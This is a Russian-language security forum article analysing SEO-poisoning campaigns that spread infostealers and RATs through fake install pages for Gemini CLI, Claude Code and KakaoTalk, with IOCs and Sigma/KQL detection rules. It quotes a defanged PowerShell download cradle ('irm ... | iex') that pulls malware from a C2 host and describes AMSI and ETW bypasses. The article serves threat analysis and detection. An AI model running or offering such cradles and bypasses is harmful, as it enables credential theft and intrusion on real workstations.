Март 2026 года. Разработчик гуглит "install Gemini CLI", кликает первый результат, копирует PowerShell-команду из "инструкции" на geminicli[.]co[.]com. Через 30 секунд fileless-инфостилер уже тянет OAuth-токены, CI/CD-секреты и конфиги корпоративного VPN. В параллельном процессе честно ставится настоящий npm-пакет от Google. Пользователь видит успешную установку. SOC не видит ничего - ни одного алерта. Кампанию задокументировали аналитики EclecticIQ.
Это SEO poisoning в чистом виде: вектор доставки малвари, который корпоративные SIEM покрывают детектами на порядок хуже, чем email-фишинг. По данным IBM X-Force Threat Intelligence Index 2025, инфостилеры - 32% всех зафиксированных типов вредоносного ПО, больше чем ransomware. И доставляются они всё чаще через отравленную поисковую выдачу.
Бизнес-логика SEO-poisoning атак: pull вместо push
Отравление поисковой выдачи и классический фишинг работают по разным моделям. Email-фишинг - push: атакующий рассылает письма и рассчитывает на клик. SEO poisoning - pull: вредоносная страница сидит в топе выдачи и ждёт, пока жертва сама придёт за решением рабочей задачи.Понедельник, 10 утра. Разработчик ищет "install Gemini CLI", копирует команду с первого результата Google. Через 30 секунд инфостилер уже работает. Человек был в режиме доверия - решал конкретную задачу и воспринимал инструкцию как легитимную.
Для корпоративного SOC это больная тема: стандартные контроли email-фишинга (SPF/DKIM/DMARC, sandbox для вложений, mailbox-анализ) здесь бессильны. Вектор входа - браузер сотрудника, а точка компрометации - поисковый запрос, который нельзя заблокировать без потери функциональности.
По данным Verizon DBIR 2025, 26% всех подтверждённых нарушений связаны с веб-атаками. SEO poisoning даёт стабильный "top-of-funnel" поток жертв: каждый день тысячи людей ищут конкретное ПО, шаблоны документов, инструкции по настройке. Контроль над первой строчкой выдачи по запросу "download PuTTY" или "шаблон NDA" даёт конверсию в заражение, которую массовая email-рассылка не обеспечит.
Типичные цели SEO-poisoning кампаний:
- Доставка инфостилеров - сбор учётных данных, сессий браузера, криптокошельков
- Initial Access Broker - продажа доступа к скомпрометированной сети операторам ransomware
- Credential harvesting - фишинговые формы для корпоративных сервисов, имитирующие реальные порталы авторизации
- Установка бэкдоров - RAT для долгосрочного контроля (Winos4.0, SectopRAT, Oyster)
Kill chain SEO-poisoning кампании по MITRE ATT&CK
Полная цепочка атаки через отравление поисковой выдачи маппится на конкретные техники. Даже если первый этап практически не детектируется проактивно - последующие оставляют чёткие следы в телеметрии. Разберём каждое звено.
1. Resource Development - SEO Poisoning (T1608.006)
Атакующий регистрирует тайпсквоттинг-домены (geminicli[.]co[.]com, pc-kakaocorp[.]com), клонирует дизайн легитимных страниц, продвигает их через SEO-оптимизацию или покупку рекламных слотов в Google Ads. По данным Vectra AI, операторы GootLoader для этого компрометируют тысячи WordPress-сайтов и размещают поддельные форумные обсуждения с ссылками на вредоносные загрузки. Этап невидим для корпоративного SOC - происходит вне контролируемого периметра.
2. Initial Access - Drive-by Compromise (T1189) + Malicious Link (T1204.001)
Пользователь находит отравленный результат в поиске и переходит по ссылке. Эксплуатируется не уязвимость браузера, а доверие к поисковой выдаче - жертва сама инициирует следующий шаг. Детектируемая поверхность: DNS-запрос и HTTP-обращение к свежему домену с рабочей станции.
3. Execution - Malicious File (T1204.002) / PowerShell (T1059.001)
Способ выполнения варьируется по кампаниям:
- PowerShell download cradle
irm | iex- кампания EclecticIQ (Gemini/Claude) - Запуск NSIS-инсталлятора с недействительным сертификатом - кампания ASEC (KakaoTalk)
- Загрузка архива с "юридическим шаблоном" - GootLoader
4. Defense Evasion - Match Legitimate Name or Location (T1036.005)
Вредоносные домены и файлы маскируются под легитимные. Кампания EclecticIQ использует дополнительный приём: параллельная установка настоящего npm-пакета маскирует вредоносную активность. Пользователь видит реальный результат
npm install и не замечает скрытого процесса. Красивый фантик.5. Command and Control - Ingress Tool Transfer (T1105)
Второй этап пейлоада загружается с C2 в память без записи на диск. Стандартный file-based AV не сработает - нужен мониторинг ScriptBlock Logging и сетевого трафика на уровне прокси.
Разбор кампаний: как SEO poisoning malware доставляется на рабочие станции
Отравление поисковой выдачи для разработчиков: Gemini CLI и Claude Code
По данным отчёта EclecticIQ (март 2026), кампания таргетировала разработчиков, устанавливающих AI-ассистенты. Атакующие зарегистрировали домены geminicli[.]co[.]com и gemini-setup[.]com, позднее - claudecode[.]co[.]com и claude-setup[.]com для Claude Code. Паттерн именования единый: суффикс.co.com и конвенция -setup.com.Цепочка заражения:
- Жертва ищет "install Gemini CLI" и попадает на клонированную страницу
- Страница предлагает скопировать PowerShell-команду "для установки"
- Команда через COM-объект
Shell.Applicationзапускает скрытый PowerShell-процесс (window style 0) - Скрытый процесс выполняет
irm events[.]msft23[.]com | iex- инфостилер загружается в память - Параллельно выполняется
npm install -g @google/gemini-cli- легитимная установка
PSEtwLogProvider.m_enabled, и обходит AMSI, после чего через Add-Type загружает C#-типы для P/Invoke: CredHelper вызывает CredEnumerate через advapi32.dll для кражи паролей из Windows Credential Manager, User32 снимает отпечаток экрана через EnumDisplaySettings. Тело скрипта обфусцировано ~6800 строками мусорного кода и содержит проверку строки "qemu-ga" для обнаружения sandbox-окружения.По данным EclecticIQ, помимо кражи credential'ов кампания предоставляет атакующим arbitrary remote code execution - прямой переход к hands-on-keyboard интрузии в корпоративную сеть через скомпрометированную рабочую станцию разработчика.
IOC: geminicli[.]co[.]com, gemini-setup[.]com, claudecode[.]co[.]com, claude-setup[.]com; C2: events[.]msft23[.]com, events[.]ms709[.]com.
Доставка малвари через SEO: поддельные установщики KakaoTalk
По данным AhnLab Security Intelligence Center (ASEC), атакующие вывели в топ Google и Bing домен pc-kakaocorp[.]com для запроса "KakaoTalk desktop". Результат - более 5000 заражённых компьютеров.
NSIS-инсталлятор, подписанный недействительным сертификатом на имя "NetEase" (уже смешно), разворачивал многоэтапную атаку: создание файлов Verifier.exe и AutoRecoverDat.dll, добавление исключений в Windows Defender для ослабления защиты, загрузка ShellCode из GPUCache.xml / GPUCache2.xml - вредоносное ПО семейства Winos4.0. Параллельно создавался легитимный KakaoTalk_Setup.exe с ярлыком на рабочем столе - тот же трюк с "красивым фантиком", что и у EclecticIQ.
Winos4.0 давал полный контроль: скриншоты, сбор системной информации, управление файлами, выполнение произвольного кода по команде C2. Выбор конкретного C2-сервера зависел от наличия мьютексов и локальных файлов - гибкая инфраструктура с несколькими серверами управления.
IOC: pc-kakaocorp[.]com; IP: 119.28.70.225, 192.238.129.47; URL: download.i96l6[.]top.
GootLoader: вредоносные сайты в поисковой выдаче через WordPress
По данным Vectra AI, GootLoader - один из наиболее устойчивых операторов SEO poisoning, специализирующийся на юридических и бизнес-запросах. Инфраструктура строится на тысячах скомпрометированных WordPress-сайтов с поддельными форумными обсуждениями контрактов, NDA и шаблонов документов. Пользователь ищет "шаблон соглашения о неразглашении", находит страницу с "обсуждением" и скачивает вредоносный архив. GootLoader работает как Initial Access Broker, продавая плацдарм в скомпрометированной сети операторам ransomware.Этот вектор особенно опасен для корпоративных пользователей: юридические шаблоны - типичный рабочий запрос, который невозможно заблокировать на уровне proxy-категоризации без нарушения бизнес-процессов. Попробуйте объяснить юристам, почему им нельзя гуглить NDA.
Детектирование SEO-poisoning атак: правила для SIEM и EDR
Заблокировать SEO poisoning до клика - задача практически невыполнимая: домены свежие, контент при сканировании выглядит легитимно (cloaking), репутационные фиды не успевают за ротацией инфраструктуры. Реальная точка детекта - поведение после клика.Браузер порождает скриптовый интерпретатор с download cradle
Основной паттерн кампаний типа EclecticIQ. Sigma-правило для Sysmon (EventCode 1); предусловие - Sysmon развёрнут с логированием создания процессов:
YAML:
title: Browser Spawning PowerShell Download Cradle
detection:
parent:
ParentImage|endswith: ['\chrome.exe', '\msedge.exe']
child:
Image|endswith: '\powershell.exe'
CommandLine|contains|any: ['irm', 'iex', 'Invoke-RestMethod']
condition: parent and child
level: high
Код:
DeviceProcessEvents
| where InitiatingProcessFileName in ("chrome.exe", "msedge.exe")
| where FileName == "powershell.exe"
| where ProcessCommandLine has_any ("irm", "iex", "Invoke-RestMethod")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine
process where process.parent.name in ("chrome.exe", "msedge.exe") and process.name == "powershell.exe" с условием на командную строку.Ограничение: ложные срабатывания возможны в средах, где разработчики легитимно запускают PowerShell из браузера (winget, chocolatey). Решение: baseline рабочих станций и исключения по конкретным URL-паттернам. В SOC с высокой долей DevOps-пользователей false positive rate будет заметный - без тюнинга правило быстро окажется в ignore-листе.
ETW-тампер и AMSI-обход
При включённом ScriptBlock Logging (PowerShell Event 4104) в SIEM можно ловить строкиPSEtwLogProvider, m_enabled, AmsiScanBuffer в теле скриптов. В CrowdStrike Falcon от версии 6.40 это покрывается встроенным детектом "AMSI Bypass Attempt". В Elastic Security prebuilt-правило "AMSI Provider Patching" доступно начиная с 8.6+. Детекты срабатывают уже на этапе выполнения пейлоада - не превентивно, но достаточно рано для containment.Аномальные DNS-запросы к свежим доменам
Мониторинг DNS-обращений к доменам со свежей регистрацией (domain age < 30 дней) от рабочих станций через корпоративный резольвер. Подозрительные паттерны:- Домены с суффиксами
.co.com,-setup.comв комбинации с именами известного ПО - CDN-подобные домены, имитирующие Microsoft (msft23[.]com, ms709[.]com)
Чеклист защиты корпоративных пользователей от SEO poisoning
Готов к передаче в работу SOC или security engineering.
📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
По опыту разбора SEO-poisoning кампаний за последние полтора года вижу одну устойчивую закономерность: в большинстве SOC правила корреляции для browser-based initial access отсутствуют целиком. Email-фишинг покрыт десятками детектов, sandbox настроен, awareness-тренинги проводятся ежеквартально. А цепочка
chrome.exe -> powershell.exe -> irm | iex - слепая зона.Причина понятна: исторически SOC строился вокруг email-вектора, потому что тот доминировал годами. Но ситуация сместилась. Когда инфостилеры - треть всего зафиксированного вредоносного ПО (IBM X-Force), а доставляются они всё чаще через поисковую выдачу, детектирующий стек обязан перестраиваться.
Кампания EclecticIQ показательна: разработчик не получал фишинговое письмо - он искал рабочий инструмент. Ни один email-контроль не помог бы.
Прогноз на ближайший год: основной целью SEO poisoning станут страницы установки AI-инструментов. Gemini CLI, Claude Code, Copilot, локальные LLM - разработчики привыкли ставить всё одной командой из терминала, и эта привычка превращается в вектор supply chain-атак. Два правила из этой статьи закрывают 80% видимости за час работы - если SOC ещё не мониторит пары "браузер -> скриптовый интерпретатор", это первое, что стоит внедрить завтра утром. На codeby.net держим тред по threat hunting в группе TTP browser-based initial access - если ваш SOC работает с аналогичными цепочками через отравленную выдачу, стоит сверить подходы к корреляции.
Последнее редактирование модератором: